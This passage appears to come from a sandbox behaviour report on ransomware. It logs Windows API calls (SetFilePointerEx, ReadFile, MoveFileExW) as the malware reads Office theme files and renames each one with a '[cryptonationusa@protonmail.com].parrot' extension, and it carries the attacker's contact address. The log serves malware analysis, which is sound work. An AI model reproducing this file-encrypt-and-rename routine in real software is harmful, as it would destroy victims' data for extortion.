Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.051] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.051] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.053] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.053] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x101e0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x101e0, lpOverlapped=0x0) returned 1 [0124.057] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.060] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.060] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.061] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.061] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e7, lpOverlapped=0x0) returned 1 [0124.061] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.065] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.065] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.066] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.066] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7ce7, lpOverlapped=0x0) returned 1 [0124.069] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.075] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.075] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.077] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.077] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1004, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1004, lpOverlapped=0x0) returned 1 [0124.077] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.080] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.081] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.082] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.082] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11e37, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11e37, lpOverlapped=0x0) returned 1 [0124.086] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.090] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.090] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.091] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.091] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x265, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x265, lpOverlapped=0x0) returned 1 [0124.092] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.094] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.094] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.096] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.096] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb5a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb5a, lpOverlapped=0x0) returned 1 [0124.100] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.107] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.107] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.109] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.109] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe1b, lpOverlapped=0x0) returned 1 [0124.109] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.146] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.146] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.148] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.148] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1936f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1936f, lpOverlapped=0x0) returned 1 [0124.152] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.161] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.161] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.162] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.162] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1c8, lpOverlapped=0x0) returned 1 [0124.162] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.165] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.165] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.167] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.167] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8573, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8573, lpOverlapped=0x0) returned 1 [0124.173] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.180] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.180] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.181] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.182] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3a9, lpOverlapped=0x0) returned 1 [0124.190] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.195] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.195] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.197] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.197] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1413d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1413d, lpOverlapped=0x0) returned 1 [0124.200] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.204] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.204] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.205] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.205] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1bc, lpOverlapped=0x0) returned 1 [0124.205] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.209] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.209] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.210] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.210] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7279, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7279, lpOverlapped=0x0) returned 1 [0124.213] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.220] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.220] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.222] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.222] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3f1, lpOverlapped=0x0) returned 1 [0124.222] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.226] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.226] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.227] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.227] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c40, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14c40, lpOverlapped=0x0) returned 1 [0124.231] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.235] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.235] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.236] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.236] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x18ebe4, 